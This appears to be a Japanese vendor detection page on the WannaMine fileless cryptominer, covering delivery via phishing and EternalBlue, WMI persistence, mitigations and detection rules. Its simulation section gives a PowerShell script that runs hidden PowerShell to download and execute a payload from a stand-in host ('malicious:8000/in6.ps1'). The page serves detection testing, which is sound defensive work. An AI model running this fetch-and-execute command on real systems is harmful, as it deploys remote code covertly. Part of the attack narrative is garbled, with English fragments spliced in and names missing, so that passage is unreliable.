WannaMine クリプトマイナー分析:ファイルレスな実行と持続性
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
WannaMineは、PowerShellとWindows Management Instrumentation(WMI)という主に生活で使用されるツールを使用してメモリ内に常駐し、Moneroをマイニングする、ファイルレスの暗号通貨マイニングワームです。
調査
WannaMineは、悪意のあるバッチファイルを含むフィッシングメールを介して、またはEternalBlue SMBの脆弱性を悪用して配信されます。持続性を維持するため、WMIイベントサブスクリプションを登録し、カスタムWMIクラスにエンコードされたPowerShellを保存します。
WannaMineの緩和策
SMB(MS17-010)のパッチを適用することでEternalBlueの悪用を防止します。PowerShellの実行を制約し、監視し、異常なWMIクラスの作成とイベントコンシューマーを監視し、資格情報の悪用を制限するために最小特権を適用します。
対応
異常なPowerShell/WMIの動作を警告し、影響を受けたホストを隔離し、悪意のあるWMIイベントコンシューマー/サブスクリプションを削除し、潜在的に漏洩した資格情報を回転させ、メモリフォレンジックを行い、メモリ内のマイナーを確認します。
攻撃フロー
検出
Powershell経由のダウンロードまたはアップロード(cmdline経由)
表示
疑わしい電源設定の変更活動(cmdline経由)
表示
LOLBAS wmic(cmdline経由)
表示
直接IPによる疑わしいファイルダウンロード(プロキシ経由)
表示
IOCs(HashMd5)を検出:WannaMineの動作:ファイルレスの暗号通貨マルウェア
表示
IOCs(Emails)を検出:WannaMineの動作:ファイルレスの暗号通貨マルウェア
表示
IOCs(SourceIP)を検出:WannaMineの動作:ファイルレスの暗号通貨マルウェア
表示
IOCs(DestinationIP)を検出:WannaMineの動作:ファイルレスの暗号通貨マルウェア
表示
WannaMineファイルレス暗号通貨ジャッキングの検出【Windowsプロセス作成】
表示
WannaMineファイルレス暗号通貨マイナーPowerShell実行を検出【Windows Powershell】
表示
シミュレーション実行
前提条件:テレメトリとベースラインの事前チェックが完了している必要があります。
理由:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述しています。コマンドと説明は特定されたTTPと直接反映され、検出ロジックが期待する正確なテレメトリを生成することを目的としています。
-
攻撃の物語とコマンド:
攻撃者はWindowsエンドポイントでリモートコード実行を取得します。ユーザーの操作を避けるために、PowerShellを隠されたウィンドウ(-W Hidden)でプロファイルなしで(-NoP)非インタラクティブ(-NonI)で起動します。このコマンドはIEXを使用して悪意のあるHTTPサーバー(http://malicious:8000/in6.ps1)からのPowerShellペイロードをダウンロードします。ダウンロードされたスクリプトはという名前のWMIクラスを登録し、に保存されているBase64エンコードされたMoneroマイナーを含むプロパティを持っています。攻撃者はthat stores a propertymoncontaining a Base64‑encoded Monero miner. The attacker then reads the property via[WmiClass]を介してプロパティを読み込み、実行することで、プロセスを新規に作成せずに暗号マイナーを起動します。このシーケンスは検出ルールの3つのコマンドラインのサブストリングと一致します。 -
回帰テストスクリプト:
#------------------------------------------------- # WannaMineファイルレス暗号通貨マイナーの実行をシミュレートする #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. 隠された、非インタラクティブなPowerShell実行 $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # コマンドを実行する(これは攻撃者が実行するものです) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # 注:リモートスクリプト(in6.ps1)は、"mon"プロパティを含むWMIクラスを作成すると仮定されています。 -
クリーンアップコマンド:
# 悪意のあるWMIクラスを削除する Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # 残っている可能性のあるPowerShellマイナープロセスを停止する(もし起動されている場合) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # 任意: テスト中に作成されたPowerShellのトランスクリプト/ログファイルをクリア Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue